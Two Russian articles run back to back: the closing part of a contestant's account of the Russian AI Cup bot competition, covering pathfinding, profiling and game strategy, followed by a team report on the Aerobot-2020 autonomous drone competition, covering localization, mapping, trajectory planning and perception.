Подготовка к финалу и финал. В финал я уже прошёл, значит надо в нём побеждать. Первые задачи тоже понятны. Поиск пути и оптимизация кода, иначе в финале делать нечего - юниты не найдут оружия или стратегия не уложится в лимит времени.

Пару слов про поиск пути. С первого же дня в чатике было много обсуждений про поиск пути, ругались страшными (для меня на тот момент) словами дейкстра и астар. Складывалось впечатление, что это что-то очень сложное и его надо начинать делать сильно заранее до последней недели. Мой программист пару раз тоже кричал, что раз это сложная задача, к которой вообще неясно что делать, то надо взяться за неё пораньше. Менеджер неизменно отвечал: Пока отложим её. Пока забудь про неё. Я контролирую процесс. Потому что субъективно это была задача сложнее чем навык и вызывала тревогу. К тому же было бы сложно получить явный результат, т.к. игр на сложных картах не проводилось. Итак, у меня 12 место в раунде. Большинство игроков из топового диапазона без особых проблем справляются с этой задачей. Вряд ли она кардинально сложнее всего, что я уже решил. Место и сравнение с другими сильно повысило субъективную оценку моих навыков и снизило сложность задачи. Она как раз оказалась в секторе потока. И вот именно тогда я взялся за поиск пути.

Оказалось, задача и правда куда проще, чем я думал. 2 часа - нагуглить и понять основные алгоритмы. И остаток дня - разработать и реализовать поиск пути для своей стратегии. И ещё 1,5 дня - написать навигатор, который сможет без особых багов водить по этому маршруту ботика. Из смешных моментов - мне помогло знакомство с навигаторами в смартфонах - часто бывает, что точка полученных GPS координат в одном месте, а стрелочка вашего положения в другом. Вот и мой навигатор действовал так же при сходе с маршрута. Если отклонение небольшое и незапланированное, то ещё пару мгновений будем считать, что это ошибка позиционирования и на самом деле юнит идёт по маршруту.

В итоге мой довольно простой поиск пути отлично работал.

А профилирование заставило меня долго ругаться. Я как раз в процессе рефакторинга переписал почти всё на предложенные организаторами типы данных, взятые из базовой модели. ООП, единообразие, наше всё. Огромный выигрыш в быстродействии я получил, переписав ещё раз все координаты на примитивный tuple.

Минимум к финалу - готов. Что дальше? Сейчас в песочнице проводятся бои по правилам обоих раундов и финала. Т.к. нас интересует только финал, то остальные игры сознательно игнорируем как не показательные. Так же не смотрим больше на рейтинг в песочнице, чтобы не делать универсального бота. Решение только под финал написать проще, чем универсальное. На картах финала больше аптечек и мин, и это играет роль: во-первых, мои ущербные мины начали приносить чуть больше пользы, во-вторых, в районе моего рейтинга образовалось много людей, которые побеждали за счёт стратегии добежать до соперника и взорваться с ним. В целом такая хорошо реализованная стратегия давала место что-то вроде 15-20 в общем зачёте. Я нашёл только один хороший вариант борьбы с ними: если они прибежали - взорваться первым. А если не прибежали, то расстреливать, т.к. стрельба и уворот у меня лучше реализованы. Потратив пару часов на анализ, пришлось увеличить приоритет действиям по сбору минимального комплекта мин, чаще держаться земли (в воздухе нельзя поставить мину, а пока я в прыжке, враг подбегал и взрывался со мной) - в целом повысить вероятность создания благоприятных условий для использования мины. Если не можешь сейчас взорвать мины, значит ты беззащитен против близкого врага. Это дало достаточную защиту и я радостно почти забыл про мины, оставив сам подрыв кривой проверкой после всех тщательно рассчитанных действий мол а не выгодно ли взорваться ли нам сейчас? Почему я не реализовывал стратегию подбегаем к врагу для подрыва? Я ошибся в предсказании действий других топов. Из-за простоты моей проверки я думал, что все её или лучшую воткнут как мастхэв и мины станут практически не применяемым оружием. Все юниты будут просто держаться друг от друга вне зоны действия мин, т.к. как только подойдёшь ближе, то тебя взорвут. Поэтому я радостно занялся более интересными частями алгоритма про командную работу и стрельбу. Как оказалось я ошибся и мины очень неплохо себя показали. А вот не надо подходить к мои юнитам - они от этого нервничают.

10 минут до старта финала, уже всё отправлено. Формально правки для себя запрещены, чтобы хуже не сделать. И тут вижу, что в одном месте вроде не учитывается какой-то момент. Сейчас улучшу! - Но мы же не успеем оттестировать! - Да тут просто! Изменяю. Отсылаю. Код принят. И тут я смотрю на код ещё раз я ошибся, и эти правки сломали проверку мин и иногда боты взрывались сами просто так :) Гонг - старт финала, на 12 часов новые стратегии не принимаются. Конечно, я исправил тут же обратно и отослал, но всю первую часть финала содрогался от периодического самоубийства своих ботов. Хорошо хоть не частого.

В итоге мои боты заняли четвёртое место не потому что у них было что-то одно очень хорошо реализовано, а из-за хорошего баланса навыков. У них была средняя стрельба, хорошие увороты, средние мины, хороший поиск пути и средняя командная работа. У участников ниже по рейтингу встречались лучше у кого стрельба, у кого увороты. У чистых минеров были офигенные мины, но плохая стрельба и увороты.

Из смешного про работу с мотивацией.

Перед вторым раундом я сильно улучшил алгоритм стрельбы. Учёт вероятности попадания, изменения разброса, наилучшая точка противника для усложнения уворота. И всё такое. Звучит очень всё хорошо. Тесты не показали выигрыша, а скорее небольшое падение процента попаданий. Программист отказался принимать такие результаты тестов - ещё пару раз проверил - должно быть сильно лучше. Менеджер, прикинув запас прочности стратегии и временя поиск проблемы, помечая в блокнотике: хорошо, хорошо, давай оставим. Тесты в 5-10 запусков с текущим рандомом и правда не показательны.

Приближается финал.

М: Слушай, я помню там были неоднозначны тесты новой системы прицеливания. Давай попробуем протестировать с более простой.

П: Давай.

Тестирую - лучше с простой.

Оба: ну и фиг с ней, отключаем.

Потому что прошло время и П уже это не так ценно. Для него сейчас гордость - поиск пути.

Итого:

• Для реализации сложных и долгих штук нужно иметь запас по времени и мотивации, чтобы не бросить. Если его нет, то лучше делать вначале простые для накопления запаса. Даже если потом придётся переписать часть.

• Очевидно, что работать в потоке эффективнее, но надо не забывать отдыхать.

• Выбор тех задач, где можно получить максимальный выигрыш за затраченное времени.

• Стремится решить поставленную задачу достаточно, а не абстрактно идеально. Проблема та же - время.

• Гибкость. Готовность изменяться и принимать мир как он есть, а не как его хочется видеть. Приоритетные оружия у меня менялись раз 6, в зависимости от текущего уровня стратегий врагов и крутости моей стратегии. Если долго отрицать реальность и бухтеть на её несправедливость, то можно не успеть адаптироваться, как у многих случилось с минами.

• Думает человек, работает компьютер. Во всяком случае я пока не могу заставить компьютер думать лучше меня, но он куда лучше работает. Зачастую час анализа заменяет 12 часов программирования - можно упростить задачу или вообще её не решать. Я был очень удивлён, когда в чате сказал, что если противник падает, то мы можем довольно точно предсказать его следующие позиции по высоте (очевидно ниже, т.к. прыгнуть или зависнуть невозможно), а мне сказали, что это толстая помощь другим. При том что ссылки на алгоритмы и прочее не являлись толстой помощью.

Благодарности

• Mail.ru Group за интересный чемпионат в таком формате.

• Alexander N за волшебную фразу cProfile же, стандартный для питона, не самый удобный кстати, упоминание Cython и моральную поддержку по возможности Python выйти в топ против уверенности основной части сообщества, что у Python без шансов.

• Сообществу за тёплую атмосферу дружеского соперничества в чатике.

• Всем участникам за интересные вызовы.

• Друзьям, что в меня верили и поддерживали.

• Lama, за видео.

Сейчас начался RAIC этого года! Если вы сомневаетесь, то присоединяйтесь - топовые места ждут вас.

Немного соревнований автономных дронов, рассчитанных на взрослых разработчиков и организации, проводятся в России. В статье расскажу о нашем участии в Аэробот-2020. Мы и без соревнований работаем с актуальными технологиями локализации дрона в помещении, планирования движения и картографии (exploration), детекции объектов (perception) и оптимального управления движением. В условиях соревнования были задачи как раз из этой области.

Наша команда состояла из сотрудников Центра компетенций НТИ по направлению Технологии компонентов робототехники и мехатроники на базе Университета Иннополис и студентов университета.

Под катом много увлекательных полетов и падений дронов.

С одной стороны, мы хотим забыть об этом как о страшном сне, а с другой, это интересный опыт. Так что, чтобы оставить эти воспоминания в 2020 году, эта статья достается из черновиков.

Соревновательная робототехника

Если спортивное программирование и индустриальная разработка уже во многих случаях весьма далеки друг от друга, то в робототехнике зачастую крупные соревнования становятся драйверами развития целых направлений. Пожалуй, самый яркий пример DARPA Grand Challenge, которые предопределили бурное развитие автономных автомобилей. Основатель DJI начинал свою работу по БПЛА с соревнований ABU Robocon в составе команды гонконгского университета HKUST.

Среди современных крупных конкурсов в области воздушной робототехники я выделю:

• The DARPA Subterranean (SubT) Challenge (хотя там и наземные роботы), где роботы должны строить карту, двигаясь автономно в шахте;

• AlphaPilot Lockheed Martin AI Drone Racing Innovation Challenge. Участники создают искусственный интеллект, способный опередить человека-пилота в гонках FPV дронов;

• Mohamed Bin Zayed International Robotics Challenge (MBZIRC). Здесь тоже воздушные и наземные роботы и их взаимодействие; кстати, объявлено начало приема заявок на 2023-й год;

• Соревнования проводятся также в рамках конференций IROS, ICRA, NeurIPS (Game of Drones) и других.

А что в России?

В России робототехника вообще становится популярна, есть кружки, курсы и много STEM-education-движухи. Соревнования дронов в основном проводятся среди школьников и студентов. Мы их и сами проводим. Конкурсов, ориентированных на организации и более сложные задачи, немного (хотя порой и современные школьники делают удивительные вещи). Когда-то компания КРОК проводила интересный конкурс, с тех пор мало подобного было. Пример недавнего конкурса для производителей БПЛА конкурс от ПАО Газпром нефть и AeroNet по перевозке груза, имитирующего пробы нефти. Однако, там задачи больше по аппаратной составляющей БПЛА, чем по планированию движения и обработке сенсорных данных. Можно упомянуть еще Copter Hack, но это конкурс проектов, а не соревнования в которых команды соревнуются в выполнении одних и тех же заданий.

Аэробот-2020

Соревнования Aerobot проводятся в России второй год и как раз ориентированы на развитие решений в области разработки, создания и эксплуатации перспективных робототехнических комплексов (систем) гражданского, военного, специального и двойного назначения воздушного базирования (sic!). Как видите, даже название пропитано духом двойного назначения, что не случайно: соревнования проходят при поддержке ФПИ, призванного быть российским аналогом DARPA. При этом задания вполне интересные, даже если вы пацифист или опасаетесь военной бюрократии, как я.

Заданий в этом году было 3:

1. Инспекция помещения и поиск объектов в нем с указанием их координат (жизненный аналог поисковые операции в разрушенном здании, например);

2. Движение по QR-код (получается этакий дрон для складской инвентаризации, вот похожий проект от коллег из Сколково);

3. Гонки дронов максимально быстро пролететь между воротами и обойти препятствия между ними.

Эти соревнования проводились во второй раз. В этот раз организатором выступила наша с @GigaFlopsis (и еще нескольких теперешних иннополисян) alma mater НИИ робототехники и процессов управления Южного федерального университета (НИИ РиПУ), г. Таганрог.

Команды-участники

Соревнования проводились в два этапа. Для первого, отборочного, был сделан симулятор на базе Gazebo с клёвыми обоями (я просил добавить ковры на стены, но это, видимо, оставили для следующих версий). Второй этап проходил на специальном полигоне.

Из-за коронавируса в этом году команд было меньше, чем в прошлом, но уровень был выше: у всех дроны летали и все делали попытки выполнения заданий. Еще порадовало, что команды были гибридные представители академических институтов и индустрии. Список и краткая инфа о командах:

• RaccoonLab, Университет Иннополис это мы;

• ФИЦ ИУ РАН (Москва), в составе разработчики из Fast Sense Studio. Они делают бортовые компьютеры для мобильных роботов и дроны для складской инспекции;

• ИПУ РАН (Москва) использовали дрон стартапа Airspector по промышленной инспекции при помощи БПЛА;

• С305, ДВФУ (Владивосток), Центр проектной деятельности студентов;

• QuadroZ, НИИ РиПУ (Таганрог), команда организатора соревнований;

• Альтаир, студенты ЮФУ (Таганрог);

• Команда ВИТ Эра (Анапа).

Состав нашей команды

• Дмитрий Девитт главный заводила, знает вкус победы предыдущих соревнований Аэробот-2019. Видели Noize MC, обвешанного гитарой и укулеле с сэмплером и клавишами? Вот примерно так работает Дима при тестах: в одной руке ноутбук, в другой пульт ручного управления для подстраховки;

• Дмитрий Пономарев программист, реализовал фьюзинг нескольких реалсенсов для локализации, генерировал миры в Gazebo;

• Илья Севостьянов студент Университета Иннополис, работал над детекцией полосы и посадочной площадки;

• Юрий Сухоруков студент, много занимался сборкой кошерного дрона, 3D-печатью, сделал ворота и параллельно порадовал сайд-проектом по детекции масок с дрона;

• Роман Федоренко я, каким-то волшебным образом собрал эту мега-команду и наблюдаю за успехом (спокойствие все же только видимое).

Следующие сотрудники большой команды нашей лаборатории не были в официальном составе соревнований (по регламенту не больше 5 человек с российским гражданством), однако их наработки были очень полезны:

• Виктор Массагуе алгоритм инспекции;

• Гисара Пратхап сегментация на облаке точек, создание миров в Gazebo;

• Никита Ермоленко алгоритмы CV для детекции ворот.

Отборочный этап

Хотя, как я уже говорил, отборочный этап проходил в режиме симуляции, он был очный. Организаторы предоставили каждой команде мощный компьютер, на котором мы запускали как симулятор, так и код выполнения заданий. Зачетные попытки демонстрировались на большом экране. Перед зачетными попытками организаторы загружали новые сцены, слегка отличающиеся от предоставленных для тренировки.

Все три задания от третьего к первому на симуляторе (этап 1) в таймлапсе:

На отборочном этапе наша команда заняла первое место с заметным отрывом, но расслабляться было рано.

Разбор решений

Approach

Общий подход у нас и у других команд состоял в классической структуре системы управления с разделением на функциональные блоки локализации и картографии, управления, планирования движения, восприятия окружающей среды, планирования миссии. End-2-end и подобное никто не делал, хотя элементы такого подхода в третьем задании напрашиваются.

Железо

Все летали на опенсорс автопилоте PX4 (слава ему).

По бортовым компьютерам: Nvidia Jetson (Nano/NX/Xavier) или Raspberry Pi или свой компьютер у FastSense.

Из сенсоров для восприятия мира, как правило, есть камеры глубины Realsense D435, многие летают также с использованием RPLIDAR плюс обычные камеры (вебки) для детекции объектов.

Локализация

Здесь две доминирующие идеи: 2D SLAM на Google Cartographer (мы использовали только на этапе симуляциий) c RPLIDAR и tracking камеры Realsense T265.

Последние при хорошей удаче закрывают вопрос локализации полностью причем на аппаратном уровне. Однако, как и вся визуальная одометрия, могут плыть (особенно в условиях вибраций на дроне). Мы пробовали делать комплексирование двух камер одновременно одна вниз, другая вперед или вверх, например, но это тоже не всегда работает, так как сами камеры могут давать неверную ковариацию.

Картография

Первые две задачи соревнований включают в себя по сути задачу инспекции, то есть автоматическое обследование дроном заданной территории для быстрого поиска объекта. В первом задании нужно находить кубы с логотипом и возвращать их координаты, во втором QR-коды и выбирать дальнейшие действия по данным в них.

Мы использовали свою наработку в этой области, основанную на модифицированном алгоритме NBV (next-best-view), а также библиотеке voxblox для представления карты.

Алгоритм строит 3d карту (цветной mesh) в реальном времени на борту дрона, зная только предполагаемые размеры области инспекции. При планировании также выполняется обход препятствий, пролет в окно для инспекции следующего помещения также планирует этот алгоритм.

Как это выглядит в реальных тестах:

Почитать подробнее можно, например, здесь.

Траекторное управление и обход препятствий

Пожалуй это одна из самых интересных и важных частей проекта. Нам нужно было обеспечивать максимально безопасную, но в тоже время быструю траекторию движения дрона, избегая заранее неизвестные препятствия. К тому же необходимость планирования в трехмерном пространстве добавляет вычислительную сложность.

Изначально планировщик знает положение дрона, целевую точку (или несколько), а также карту в виде облака точек. Помимо этого мы настраиваем максимальные скорости и ускорения дрона.

На основе облака точек формируется новая карта с дополнительными границами вокруг препятствий (т.н. inflation). По этой карте находится оптимальный маршрут, используя несколько алгоритмов (для быстрого поиска сильно модифицированный elastic band planner, в сложных случаях дополнительно используется A*).

На выходе мы получаем набор координат, через которые нужно построить траекторию дрона. Для генерации физичной траектории используются сплайны. Существует много хороших открытых решений от крутых лабораторий, например mav_trajectory_generation от Autonomous Systems Lab (ETH, Цюрих), B-traj от HKUST Aerial Robotics Group (Гонконг) и множество реализаций minimum snap и jerk генераторов траекторий (btw, jerk и snap это названия соответственно третьей и четвертой производных перемещения по времени, по-русски толчок и рывок). Мы интегрировали решение от HKUST Aerial Robotics Group. Результатом работы данного модуля является гладкое движение дрона с отклонением от препятствий.

Один из примеров полёта у нас в подвале:

Еще один пример работы планировщика уже в симуляторе Gazebo:

Восприятие

В задачи восприятия, которых мы касаемся здесь, входят детекция (и локализация)

• кубиков с логотипом (задача 1);

• посадочной площадки (все задания);

• QR-кодов (задание 2);

• препятствий и ворот (задание 3).

Для детекцией кубиков хватило базовых методов OpenCV: SIFT + Homography + PnP. Т.к. мы знали паттерн на сторонах куба, достаточно было определить точное положение этого паттерна относительно камеры, а дальше можно получить позицию относительно любой системы координат. Для этого был написан простой пакет под ROS на python.

Для QR кодов помимо координат необходимо было произвести расшифровку кода. На python с этим отлично справляется библиотека zbar.

Забавно было с детекцией ворот и препятствий. На этапе симулятора мы заюзали кластеризацию облаков точек на базе https://github.com/PRBonn/depth_clustering. Ворота сегментировались как один кластер и мы задавали траекторию полета через его центр. Если вместо ворот были препятствия, их облетал алгоритм траекторного управления с обходом препятствий (см. выше).

На этапе полигона мы, конечно, от этого ушли :)

Ad hoc vs унифицированные подходы

Общефилософское отступление в целом о соревнованиях. С одной стороны, соревнования направлены на стимулирование развитие технологий для практического применения. С другой, искусственность соревнований обуславливает то, что более простые решения, работающие для конкретных условий, выигрывают в сравнении с более общими подходами, которые к тому же требуют более длительной разработки. Вообще, это называется костыли, но, говорят, есть более научный термин: Ad hoc.

В нашем случае, у нас были в заготовке еще до соревнований некоторые универсальные средства: планировщики, сегментация облаков, конструкция дрона, программная инфраструктура. С другой стороны, воля к победе требует в процессе отладке во время соревнований применять и некоторые оптимизации и упрощения.

Хорошим примером здесь будет наш планировщик для первого задания. Можно делать универсальный алгоритм с NBV, оптимизацией движения с целью максимального захвата камерой неисследованного объема, а можно, зная размеры комнат и что они имеют простую форму, задать несколько рандомных точек в каждой. Также можно задавать направление движения, зная что карта устроена для движения по или против часовой стрелки. Еще забавный момент если предположить, что организаторы расставили объекты поиска в точки с целыми координатами (или с координатами кратными 0.5), что свойственно человеку, можно довести точность их определения дроном до абсолютной простым округлением :)

Отступление 2

Читайте регламент заранее и рассчитывайте на худший сценарий. Если заметили неточность, предлагайте уточнение.

Отступление 3

Все кто делают дронов, рассчитывайте на тройное резервирование, бюджеты умножьте на 3 и не соглашайтесь на меньшее :) Дроны падают.

Обещанное видео падений:

И еще. Делайте бэкапы. У нас, например, накрылась флешка со всей системой на бортовом компьютере и это стоило нам дня соревнований и ночи восстановления.

Полигон и летающая звезда Давида

Технополис Эра

Эра это военный Технополис. Круто, что он у моря. Расположение Технополиса на морском побережье создает комфортные условия для работы и жизни. сказано на сайте Технополиса :)

И да, у них свой пирс с вертолётной площадкой.

Особенностью работы в военном Технополисе является отсутствие Интернета, в том числе мобильного из-за экранирования. Поступали так:

Полигон

Полигон в его вариантах для разных заданий выглядел так:

Железо

Дроны других участников

Технология тряпочки

Надеюсь, ребята из Fast Sense Studio не поругают меня за разглашение ноу-хао с тряпочкой, т.к. это яркий пример того, с чем приходится сталкиваться при работе с реальным железом, особенно если сравнивать с симулятором.

Итак, уважаемые знатоки, внимание, вопрос: для чего нужна тряпочка на взлетно-посадочной площадке?

Наш дрон

Про звезду Давида мы не специально (кажется). Просто такая форма получилась достаточно жесткой.

Вообще, конструкция сделана модульная, с расчетом на ремонтопригодность, изготовление на базе стандартных карбоновых трубой и 3D-печатных деталей.

Последних мы взяли с собой мешочек про запас. Питстоп по замене сломанного крепления двигателя не более 60 секунд:

Полёты

Репортаж о соревнованиях и дронах, у которых есть имена (источник):

Победила дружба

По результатам соревнований судейской коллегией было принято решение не выявлять победителей, т.к. ни одной командой не были пройдены задания второго тура целиком. По итогу: 1) потрачено много запчастей и нервов, 2) было весело, собрались интересные ребята, 3) победила дружба. Следующие соревнование организаторы планируют проводить с теми же заданиями. А мы занимаемся прикладной разработкой и поглядываем на MBZIRC. Привет участникам и организаторам!